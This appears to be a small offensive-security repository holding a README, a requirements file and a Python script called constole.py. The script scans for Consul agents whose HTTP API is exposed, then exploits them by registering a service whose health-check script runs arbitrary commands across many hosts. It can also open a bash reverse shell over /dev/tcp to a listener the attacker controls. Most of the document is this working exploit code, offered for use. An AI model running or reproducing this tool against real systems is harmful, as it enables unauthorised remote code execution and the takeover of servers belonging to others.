├── requirements.txt ├── README.md └── constole.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | argparse -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Overview 2 | Scan for Consul agents and exploit them to gain shell. 3 | I've been messing around with Consul and while reading the API, found the service registration endpoint. 4 | Registrations feature check functionality, which is typically used to provide health checks on nodes. 5 | A check can be an external application or script, which performs some kind of health check and provides some form of output. 6 | Essentially, this can be any script you define to run at certain time intervals. 7 | 8 | ### Setup 9 | ``` 10 | pip install -r requirements.txt 11 | ``` 12 | 13 | ### Usage 14 | To scan for hosts running vulnerable Consul agent services, you can provide an comma-separated list with host:port,host:port,...,etc or an input file (1 target per line). 15 | ``` 16 | python constole.py --targets '10.50.30.1:8500,10.50.30.2:8500' 17 | python constole.py --infile mytargets.txt 18 | ``` 19 | Remote Code Execution can be achieved across multiple hosts as follows: 20 | ``` 21 | python constole.py --infile mytargets.txt --cmd 'my command to run' --exploit 22 | ``` 23 | To obtain a reverse shell from the vulnerable host, start a netcat listener on your desired port and select a single target: 24 | ``` 25 | python constole.py --targets 10.50.30.1:8500 --lhost my_ip_address --lport my_listening_nc_port --exploit 26 | ``` 27 | Note that Constole will automatically try to deregister the service, after a time period, to assist in clean up during testing. 28 | -------------------------------------------------------------------------------- /constole.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import time 4 | 5 | SLEEP = 15 6 | CHECK_REQ_TIMEOUT = 2 7 | 8 | def main(): 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument('--infile', help = 'read targets from input file with one per line. eg 10.50.30.10:8500', action = 'store') 11 | parser.add_argument('--targets', help = 'single target or comma-separated list of targets with :port', action = 'store') 12 | parser.add_argument('--lport', help = 'local port listening for reverse shell', action = 'store') 13 | parser.add_argument('--lhost', help = 'local ip to send reverse shell to', action = 'store') 14 | parser.add_argument('--exploit', help = 'exploit a vulnerable target', action = 'store_true') 15 | parser.add_argument('--cmd', help = 'command to execute on exploited hosts', action = 'store') 16 | args = parser.parse_args() 17 | 18 | if args.targets or args.infile: 19 | clean_targets = [] 20 | if args.targets: 21 | clean_targets = [x.strip() for x in (args.targets).split(',')] 22 | else: 23 | with open(args.infile) as f: 24 | for line in f: 25 | clean_targets.append(line.strip()) 26 | 27 | for target in clean_targets: 28 | check(target) 29 | 30 | if args.exploit: 31 | clean_targets = [x.strip() for x in (args.targets).split(',')] 32 | if len(clean_targets) == 1 and args.lport != '' and args.lhost != '': 33 | if register_service(clean_targets[0], args.lhost, args.lport, 0, True): 34 | time.sleep(SLEEP) 35 | if not deregister_service(clean_targets[0], args.lhost, args.lport): 36 | error('failed to deregister newly created service (manual clean up required) on ' + clean_targets[0]) 37 | else: 38 | error('failed to register a new service') 39 | elif args.cmd: 40 | for target in clean_targets: 41 | if register_service(target, 0, 0, args.cmd, False): 42 | time.sleep(SLEEP) 43 | if not deregister_service(target, args.lhost, args.lport): 44 | error('failed to deregister newly created service (manual clean up required) on ' + target) 45 | else: 46 | error('failed to register a new service') 47 | else: 48 | error('provide your IP address and port for your netcat listener') 49 | else: 50 | error('no targets provided') 51 | 52 | def error(msg): 53 | print('[!] Error: ' + msg) 54 | 55 | def check(target): 56 | try: 57 | response = requests.get('http://' + target + '/v1/agent/services', timeout = CHECK_REQ_TIMEOUT) 58 | if response.status_code == 200: 59 | print('[+] Vulnerable: ' + target) 60 | except requests.exceptions.Timeout as e: 61 | pass 62 | 63 | def register_service(target, lhost, lport, cmd, isshell): 64 | try: 65 | headers = {'Content-Type' : 'application/json'} 66 | script = cmd 67 | if isshell: 68 | script = 'bash -i >& /dev/tcp/' + lhost + '/' + lport +' 0>&1' 69 | data = {'ID' : 'testservice', 'Name' : 'testservice', 'Address' : '127.0.0.1', 'Port': 80, 'check' : {'script': script, 'interval' : '10s'}} 70 | response = requests.put('http://' + target + '/v1/agent/service/register', headers = headers, json = data, timeout = 5) 71 | 72 | if response.status_code == 200: 73 | print('[+] Registered service on ' + target) 74 | return True 75 | except requests.exceptions.Timeout as e: 76 | return False 77 | return False 78 | 79 | def deregister_service(target, lhost, lport): 80 | try: 81 | headers = {'Content-Type' : 'application/json'} 82 | response = requests.put('http://' + target + '/v1/agent/service/deregister/testservice', timeout = 5) 83 | 84 | if response.status_code == 200: 85 | print('[+] Deregistered service on ' + target) 86 | return True 87 | else: 88 | print(response.status_code) 89 | except requests.exceptions.Timeout as e: 90 | return False 91 | return False 92 | 93 | if __name__ == '__main__': 94 | main() --------------------------------------------------------------------------------